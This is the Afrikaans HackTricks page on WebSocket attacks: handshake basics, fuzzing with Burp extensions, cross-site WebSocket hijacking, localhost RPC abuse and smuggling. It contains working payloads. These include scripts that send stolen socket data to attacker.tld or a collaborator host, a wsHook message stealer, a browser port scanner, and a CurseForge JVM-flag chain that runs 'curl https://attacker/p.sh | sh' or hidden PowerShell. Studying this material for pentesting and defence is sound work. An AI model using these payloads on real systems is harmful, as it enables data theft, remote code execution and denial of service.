WebSocket Aanvalle

Tip

Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Leer en oefen Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Ondersteun HackTricks

Wat is WebSockets

WebSocket-verbindinge word tot stand gebring deur ’n aanvanklike HTTP handshake en is ontwerp om langdurig te wees, wat tweerigtingboodskapversending op enige tyd moontlik maak sonder die behoefte aan ’n transaksionele stelsel. Dit maak WebSockets veral voordelig vir toepassings wat lae latensie of deur die bediener geïnisieerde kommunikasie benodig, soos regstreekse finansiële datastrome.

Totstandkoming van WebSocket-verbindinge

A detailed explanation on establishing WebSocket connections can be accessed here. In summary, WebSocket connections are usually initiated via client-side JavaScript as shown below:

var ws = new WebSocket("wss://normal-website.com/ws")

Die wss-protokol dui ’n WebSocket-verbinding aan wat met TLS beveilig is, terwyl ws ’n onbeveiligde verbinding aandui.

Tydens die opstel van die verbinding word ’n handshake tussen die browser en server oor HTTP uitgevoer. Die handshake-proses behels dat die browser ’n versoek stuur en die server reageer, soos in die volgende voorbeelde geïllustreer:

Browser stuur ’n handshake-versoek:

GET /chat HTTP/1.1
Host: normal-website.com
Sec-WebSocket-Version: 13
Sec-WebSocket-Key: wDqumtseNBJdhkihL6PW7w==
Connection: keep-alive, Upgrade
Cookie: session=KOsEJNuflw4Rd9BDNrVmvwBF9rEijeE2
Upgrade: websocket

Server se handshake-antwoord:

HTTP/1.1 101 Switching Protocols
Connection: Upgrade
Upgrade: websocket
Sec-WebSocket-Accept: 0FFP+2nmNIf/h+4BP36k9uzrYGk=

Die verbinding bly oop vir boodskappe-uitruiling in beide rigtings sodra dit gevestig is.

Belangrike punte van die WebSocket Handshake:

  • Die Connection en Upgrade headers dui die aanvang van ’n WebSocket handshake aan.
  • Die Sec-WebSocket-Version header toon die gewenste WebSocket-protokolversie aan, gewoonlik 13.
  • ’n Base64-gekodeerde ewekansige waarde word in die Sec-WebSocket-Key header gestuur, wat verseker dat elke handshake uniek is en help om probleme met caching proxies te voorkom. Hierdie waarde is nie vir authentication nie, maar om te bevestig dat die antwoord nie deur ’n verkeerd gekonfigureerde bediener of cache gegenereer is nie.
  • Die Sec-WebSocket-Accept header in die bediener se antwoord is ’n hash van die Sec-WebSocket-Key, wat die bediener se bedoeling om ’n WebSocket-verbinding te open verifieer.

Hierdie kenmerke verseker dat die handshake-proses veilig en betroubaar is, en baan die weg vir doeltreffende real-time kommunikasie.

Linux console

Jy kan websocat gebruik om ’n rou verbinding met ’n websocket te vestig.

websocat --insecure wss://10.10.10.10:8000 -v

Of om ’n websocat server te skep:

websocat -s 0.0.0.0:8000 #Listen in port 8000

MitM websocket connections

As jy agterkom dat clients vanaf jou huidige plaaslike netwerk aan ’n HTTP websocket gekoppel is, kan jy ’n ARP Spoofing Attack probeer om ’n MitM attack tussen die client en die server uit te voer.
Sodra die client probeer om te connect met jou, kan jy dan gebruik:

websocat -E --insecure --text ws-listen:0.0.0.0:8000 wss://10.10.10.10:8000 -v

Websockets enumerasie

Jy kan die hulpmiddel https://github.com/PalindromeLabs/STEWS gebruik om outomaties bekende vulnerabilities in websockets te ontdek, te fingerprint en te deursoek.

Websocket Debug tools

  • Burp Suite ondersteun MitM websocket-kommunikasie op ’n baie soortgelyke manier as wat dit vir gewone HTTP-kommunikasie doen.
  • Die socketsleuth Burp Suite extension sal jou toelaat om Websocket-kommunikasies in Burp beter te bestuur deur die history te kry, interception rules te stel, match and replace reëls te gebruik, sowel as Intruder en AutoRepeater.
  • WSSiP: Kort vir “WebSocket/Socket.io Proxy”, hierdie tool, geskryf in Node.js, bied ’n gebruikerskoppelvlak om capture, intercept, send custom messages en alle WebSocket en Socket.IO kommunikasies tussen die client en server te besigtig.
  • wsrepl is ’n interactive websocket REPL wat spesifiek vir penetration testing ontwerp is. Dit bied ’n koppelvlak om incoming websocket messages waar te neem en nuwe te stuur, met ’n maklik-om-te-gebruik raamwerk vir die automating van hierdie kommunikasie.
  • https://websocketking.com/ dit is ’n web-klient om met ander webs te kommunikeer deur gebruik te maak van websockets.
  • https://hoppscotch.io/realtime/websocket onder andere kommunikasietipes/protokolle, bied dit ’n web-klient om met ander webs te kommunikeer deur gebruik te maak van websockets.

Ontsleuteling van Websocket

Websocket-lab

In Burp-Suite-Extender-Montoya-Course het jy kode om ’n web te loods wat websockets gebruik, en in this post vind jy ’n verduideliking.

Websocket Fuzzing

Die Burp-extension Backslash Powered Scanner laat nou ook toe om WebSocket-boodskappe te fuzz. Jy kan meer inligting hier lees: here.

WebSocket Turbo Intruder (Burp extension)

PortSwigger se WebSocket Turbo Intruder bring Turbo Intruder–styl Python-skriptering en hoë‑tempo fuzzing na WebSockets. Installeer dit vanaf die BApp Store of vanaf bron. Dit sluit twee komponente in:

  • Turbo Intruder: hoë‑volume boodskapstroom na ’n enkele WS-endpoint met behulp van pasgemaakte engines.
  • HTTP Middleware: openbaar ’n plaaslike HTTP-endpoint wat liggame as WS-boodskappe oor ’n bestendige verbinding deurstuur, sodat enige HTTP‑gebaseerde scanner WS-backends kan ondersoek.

Basiese skrippatroon om ’n WS-endpoint te fuzz en relevante responses te filtreer:

def queue_websockets(upgrade_request, message):
connection = websocket_connection.create(upgrade_request)
for i in range(10):
connection.queue(message, str(i))

def handle_outgoing_message(websocket_message):
results_table.add(websocket_message)

@MatchRegex(r'{\"user\":\"Hal Pline\"')
def handle_incoming_message(websocket_message):
results_table.add(websocket_message)

Gebruik dekorateurs soos @MatchRegex(...) om geraas te verminder wanneer ’n enkele boodskap verskeie reaksies uitlok.

Brug WS agter HTTP (HTTP Middleware)

Omvou ’n volgehoue WS-verbinding en stuur HTTP-lywe as WS-boodskappe vir geoutomatiseerde toetsing met HTTP-scanners:

def create_connection(upgrade_request):
connection = websocket_connection.create(upgrade_request)
return connection

@MatchRegex(r'{\"user\":\"You\"')
def handle_incoming_message(websocket_message):
results_table.add(websocket_message)

Stuur dan HTTP plaaslik; die body word as die WS-boodskap deurgestuur:

POST /proxy?url=https%3A%2F%2Ftarget/ws HTTP/1.1
Host: 127.0.0.1:9000
Content-Length: 16

{"message":"hi"}

Dit laat jou toe om WS-backends aan te dryf terwyl jy filter vir “interesting” events (bv. SQLi-foute, auth bypass, command injection-gedrag).

Socket.IO hantering (handshake, heartbeats, events)

Socket.IO voeg sy eie framing bo-op WS. Detecteer dit via die verpligte query-parameter EIO (bv. EIO=4). Hou die sessie lewendig met Ping (2) en Pong (3) en begin die gesprek met "40", en stuur dan events soos 42["message","hello"].

Intruder voorbeeld:

import burp.api.montoya.http.message.params.HttpParameter as HttpParameter

def queue_websockets(upgrade_request, message):
connection = websocket_connection.create(
upgrade_request.withUpdatedParameters(HttpParameter.urlParameter("EIO", "4")))
connection.queue('40')
connection.queue('42["message","hello"]')

@Pong("3")
def handle_outgoing_message(websocket_message):
results_table.add(websocket_message)

@PingPong("2", "3")
def handle_incoming_message(websocket_message):
results_table.add(websocket_message)

HTTP adapter variant:

import burp.api.montoya.http.message.params.HttpParameter as HttpParameter

def create_connection(upgrade_request):
connection = websocket_connection.create(
upgrade_request.withUpdatedParameters(HttpParameter.urlParameter("EIO", "4")))
connection.queue('40')
connection.decIn()
return connection

@Pong("3")
def handle_outgoing_message(websocket_message):
results_table.add(websocket_message)

@PingPong("2", "3")
def handle_incoming_message(websocket_message):
results_table.add(websocket_message)

Opsporing van server‑side prototype pollution via Socket.IO

Volg PortSwigger’s veilige opsporingstegniek — probeer om Express internals te besoedel deur ’n payload soos die volgende te stuur:

{"__proto__":{"initialPacket":"Polluted"}}

As greetings or gedrag verander (bv., echo includes “Polluted”), het jy waarskynlik server-side prototypes gepollueer. Impak hang af van bereikbare sinks; korreleer met die gadgets in die Node.js prototype pollution afdeling. Sien:

WebSocket race conditions with Turbo Intruder

Die default engine batches messages on one connection (great throughput, poor for races). Gebruik die THREADED engine om meerdere WS-verbindinge te spawn en payloads parallel te stuur om logic races te trigger (double‑spend, token reuse, state desync). Begin met die voorbeeldskrip en stel concurrency in config() aan.

  • Leer metodologie en alternatiewe in Race Condition (sien “RC in WebSockets”).

WebSocket DoS: malformed frame “Ping of Death”

Skep WS frames waarvan die header ’n reuse payload length verklaar maar stuur geen body nie. Sommige WS servers vertrou die length en pre‑allocate buffers; dit byna op Integer.MAX_VALUE stel kan Out‑Of‑Memory veroorsaak en ’n remote unauth DoS. Sien die voorbeeldskrip.

CLI and debugging

  • Headless fuzzing: java -jar WebSocketFuzzer-<version>.jar <scriptFile> <requestFile> <endpoint> <baseInput>
  • Skakel die WS Logger aan om boodskappe vas te vang en te korreleer met behulp van internal IDs.
  • Gebruik inc*/dec* helpers op Connection om message ID hantering in komplekse adapters te fynstel.
  • Dekorateurs soos @PingPong/@Pong en helpers soos isInteresting() verminder geraas en hou sessies lewendig.

Operational safety

Hoë‑tempo WS fuzzing kan baie verbindings oopmaak en duisende boodskappe per sekonde stuur. Malformed frames en hoë tempo’s kan ’n werklike DoS veroorsaak. Gebruik slegs waar dit toegelaat is.

Cross-site WebSocket hijacking (CSWSH)

Cross-site WebSocket hijacking, ook bekend as cross-origin WebSocket hijacking, word geïdentifiseer as ’n spesifieke geval van Cross-Site Request Forgery (CSRF) wat WebSocket handshakes affekteer. Hierdie kwesbaarheid ontstaan wanneer WebSocket handshakes slegs via HTTP cookies autentikeer sonder CSRF tokens of soortgelyke sekuriteitsmaatreëls.

Aanvallers kan dit uitbuit deur ’n kwaadaardige webblad te host wat ’n cross-site WebSocket-verbinding na ’n kwesbare toepassing inisieer. Gevolglik word hierdie verbinding as deel van die slagoffer se sessie met die toepassing beskou, wat die gebrek aan CSRF-beskerming in die sessiehanteringsmeganisme uitbuit.

Vir hierdie aanval om te werk, is die volgende vereistes:

  • Die WebSocket authentication must be cookie based
  • Die cookie moet toeganklik wees vanaf die aanvaller se server (dit beteken gewoonlik SameSite=None) en geen Firefox Total Cookie Protection in Firefox geaktiveer en geen blocked third-party cookies in Chrome.
  • Die WebSocket server mag nie die origin van die verbinding kontroleer nie (of dit moet omseilbaar wees)

Verder:

  • As die authentication gebaseer is op ’n lokale verbinding (na localhost of na ’n plaaslike netwerk), sal die aanval moontlik wees aangesien geen huidige beskerming dit verbied nie (check more info here)

Origin check disabled in Gorilla WebSocket (CheckOrigin always true)

In Gorilla WebSocket servers, om CheckOrigin altyd te stel om return true aanvaar handshakes van enige Origin. Wanneer die WS endpoint ook lacks authentication, kan enige bladsy wat deur die slagoffer se blaaier bereik word (Internet of intranet) ’n socket opgradeer en begin boodskappe cross-site lees/emit.

<script>
const ws = new WebSocket("ws://victim-host:8025/api/v1/websocket");
ws.onmessage = (ev) => fetch("https://attacker.tld/steal?d=" + encodeURIComponent(ev.data), {mode: "no-cors"});
</script>

Impak: real-time uittrekking van gestroomde data (bv. vasgevang e-posse/kennisgewings) sonder gebruikersbewyse wanneer enige Origin aanvaar word en die endpoint verifikasie oorslaan.

Eenvoudige Aanval

Neem kennis dat wanneer ’n websocket-verbinding gestig word, die cookie na die server gestuur word. Die server kan dit gebruik om elke spesifieke user met sy websocket session te koppel gebaseer op die gestuurde cookie.

Indien byvoorbeeld die websocket server die geskiedenis van die gesprek van ’n user terugstuur wanneer ’n msg met “READY” gestuur word, kan ’n simple XSS wat die verbinding tot stand bring (die cookie sal outomaties gestuur word om die slagoffer-gebruiker te verifieer) deur “READY” te stuur, die geskiedenis van die gesprek onttrek.

<script>
websocket = new WebSocket('wss://your-websocket-URL')
websocket.onopen = start
websocket.onmessage = handleReply
function start(event) {
websocket.send("READY"); //Send the message to retreive confidential information
}
function handleReply(event) {
//Exfiltrate the confidential information to attackers server
fetch('https://your-collaborator-domain/?'+event.data, {mode: 'no-cors'})
}
</script>

Cross Origin + Cookie with a different subdomain

In hierdie blogpost https://snyk.io/blog/gitpod-remote-code-execution-vulnerability-websockets/ het die aanvaller daarin geslaag om execute arbitrary Javascript in a subdomain van die domein waar die Websocket-kommunikasie plaasgevind het. Omdat dit ’n subdomain was, is die cookie gestuur, en omdat die Websocket didn’t check the Origin properly, was dit moontlik om daarmee te kommunikeer en steal tokens from it.

Stealing data from user

Kopieer die web application wat jy wil naboots (byvoorbeeld die .html-lêers) en binne die script waar die websocket-kommunikasie plaasvind voeg hierdie kode by:

//This is the script tag to load the websocket hooker
;<script src="wsHook.js"></script>

//These are the functions that are gonig to be executed before a message
//is sent by the client or received from the server
//These code must be between some <script> tags or inside a .js file
wsHook.before = function (data, url) {
var xhttp = new XMLHttpRequest()
xhttp.open("GET", "client_msg?m=" + data, true)
xhttp.send()
}
wsHook.after = function (messageEvent, url, wsObject) {
var xhttp = new XMLHttpRequest()
xhttp.open("GET", "server_msg?m=" + messageEvent.data, true)
xhttp.send()
return messageEvent
}

Laai nou die wsHook.js lêer af van https://github.com/skepticfx/wshook en stoor dit binne die vouer met die web-lêers.
Deur die webtoepassing bloot te stel en ’n gebruiker daaraan te koppel, sal jy die gestuurde en ontvangde boodskappe via websocket kan steel:

sudo python3 -m http.server 80

CSWSH-beskermingsmaatreëls

Die CSWSH-aanval is gebaseer op die feit dat ’n gebruiker na ’n kwaadwillige bladsy sal verbind wat ’n websocket-verbinding sal open met ’n webblad waar die gebruiker reeds aangeteken is, en as hom sal autentikeer omdat die versoek die gebruiker se cookies stuur.

Deesdae is dit baie maklik om hierdie probleem te voorkom:

  • Websocket server checking the origin: Die websocket-bediener moet altyd nagaan van waar ’n gebruiker verbind om te verhoed dat onverwagte bladsye daarmee verbind.
  • Authentication token: In plaas daarvan om die autentisering op ’n cookie te baseer, kan die websocket-verbinding gebaseer wees op ’n token wat deur die bediener gegenereer word vir die gebruiker en onbekend is aan die aanvaller (soos ’n anti-CSRF token).
  • SameSite Cookie attribute: Cookies met die SameSite-waarde Lax of Strict sal nie vanaf ’n eksterne aanvaller se bladsy na die slagoffer se bediener gestuur word nie, dus sal cookie-gebaseerde autentisering nie suksesvol wees nie. Let daarop dat Chrome nou standaard die waarde Lax op koekies plaas waarvoor hierdie vlag nie gespesifiseer is nie, wat dit veiliger maak by verstek. Die eerste 2 minute nadat ’n cookie geskep is, sal dit egter die waarde None hê, wat dit gedurende daardie beperkte tyd vatbaar maak (en dit word verwag dat hierdie maatreël op ’n stadium verwyder sal word).
  • Firefox Total Cookie Protection: Total Cookie Protection werk deur cookies te isoleer tot die site waarin dit geskep is. Elke site het essensieel sy eie cookie-opbergpartisie om te verhoed dat derde partye ’n gebruiker se blaai-geskiedenis met mekaar koppel. Dit maak CSWSH onbruikbaar omdat die aanvaller se site nie toegang tot die cookies sal hê nie.
  • Chrome third-party cookies block: Dit kan ook verhoed dat die cookie van die geauthentiseerde gebruiker na die websocket-server gestuur word, selfs met SameSite=None.

Localhost WebSocket-misbruik & blaaierpoort-ontdekking

Desktop-launchers spin dikwels helpers op (bv. CurseForge se CurseAgent.exe) wat JSON-RPC WebSockets op 127.0.0.1:<random_port> blootstel. Die blaaier dwing nie SOP op loopback-sokette af nie, dus kan enige webblad die handshake probeer. As die agent arbitrêre Origin-waardes aanvaar en sekondêre autentisering oorslaan, word die IPC-oppervlak op afstand beheerbaar direk vanuit JavaScript.

Opsomming van blootgestelde metodes

Vang ’n geldige sessie om die protokolkontrak te leer. CurseForge stuur byvoorbeeld rame soos {"type":"method","name":"minecraftTaskLaunchInstance","args":[{...}]} waar name die RPC-metode is en args gestruktureerde objekke bevat (GUIDs, resolusie, vlagte, ens.). Sodra hierdie vorm bekend is, kan jy metodes aanroep soos createModpack, minecraftGetDefaultLocation, of enige ander bevoorregte taak direk vanaf ’n ingespuite bladsy.

Blaaiergebaseerde poortontdekking

Omdat die helper aan ’n ewekansige hoë poort bind, brute-forseer die eksploite eers localhost oor WebSockets. Chromium-gebaseerde blaaiers verdra ongeveer ~16k mislukte upgrades voor throttling, wat genoeg is om die vlugtige poortreeks te deursoek; Firefox het ’n neiging om te crash of vas te loop na ’n paar honderd mislukkings, so praktiese PoCs mik dikwels na Chromium.

Minimale blaaier-skandeerder ```javascript async function findLocalWs(start = 20000, end = 36000) { for (let port = start; port <= end; port++) { await new Promise((resolve) => { const ws = new WebSocket(`ws://127.0.0.1:${port}/`); let settled = false; const finish = () => { if (!settled) { settled = true; resolve(); } }; ws.onerror = ws.onclose = finish; ws.onopen = () => { console.log(`Found candidate on ${port}`); ws.close(); finish(); }; }); } } ```

Sodra ’n verbinding die handshake oorleef en protokol-spesifieke data teruggee, hergebruik daardie socket vir die RPC-ketting.

Ketting van JSON-RPC-metodes na RCE

Die CurseForge exploit ketting twee ongeverifieerde oproepe:

  1. createModpack → gee ’n nuwe MinecraftInstanceGuid terug sonder gebruikersinteraksie.
  2. minecraftTaskLaunchInstance → lanceer daardie GUID terwyl dit arbitrêre JVM-vlagte deur AdditionalJavaArguments aanvaar.

JNI/JVM diagnostiese opsies verskaf dan ’n turnkey RCE-primitive. Byvoorbeeld, beperk die metaspace om ’n crash af te dwing en benut die error hook vir opdraguitvoering:

-XX:MaxMetaspaceSize=16m -XX:OnOutOfMemoryError="cmd.exe /c powershell -nop -w hidden -EncodedCommand ..."

Op Unix-doelwitte ruil jy eenvoudig die payload met /bin/sh -c 'curl https://attacker/p.sh | sh'. Dit werk selfs wanneer jy nie die toepassingskode kan raak nie — die beheer van die JVM CLI is genoeg.

Hierdie “create resource → privileged launch” patroon verskyn dikwels in updaters en launchers. Enige keer dat metode (1) ’n server-tracked identifier teruggee en metode (2) kode uitvoer of ’n proses met daardie identifier spawn, moet jy kyk of user-controlled arguments ingevoeg kan word.

Race Conditions

Race Conditions in WebSockets bestaan ook; check this information to learn more.

Ander kwesbaarhede

Aangesien Web Sockets ’n meganisme is om data na die server- en kliëntkant te stuur, kan, afhangend van hoe die server en kliënt die inligting hanteer, Web Sockets gebruik word om verskeie ander kwesbaarhede te eksploiteer soos XSS, SQLi of enige ander algemene web-vuln deur gebruikersinvoer vanaf ’n websocket.

WebSocket Smuggling

Hierdie kwesbaarheid kan jou toelaat om bypass reverse proxies restrictions deur hulle te laat glo dat ’n websocket communication was stablished (selfs al is dit nie waar nie). Dit kan ’n aanvaller toelaat om access hidden endpoints. Vir meer inligting, kyk na die volgende bladsy:

Upgrade Header Smuggling

Verwysings

Tip

Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Leer en oefen Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Ondersteun HackTricks